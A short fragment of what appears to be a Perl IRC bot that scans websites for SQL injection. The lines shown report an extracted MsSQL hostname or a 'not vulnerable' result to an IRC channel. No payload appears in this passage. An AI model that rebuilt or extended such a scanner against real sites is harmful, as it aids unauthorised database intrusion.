| 570 | print $connection "PRIVMSG $channel :4$asker 12[!] MsSQL HostName Is : 6$hostnames\r\n"; | |
| 571 | } | |
| 572 | else | |
| 573 | {
| |
| 574 | print $connection "PRIVMSG $channel :4$asker 10[!] This Website Is Not SQL Vulnerable !\r\n"; | |
| 575 | } | |
| 576 | } | |
| 577 | ################################################################################ |
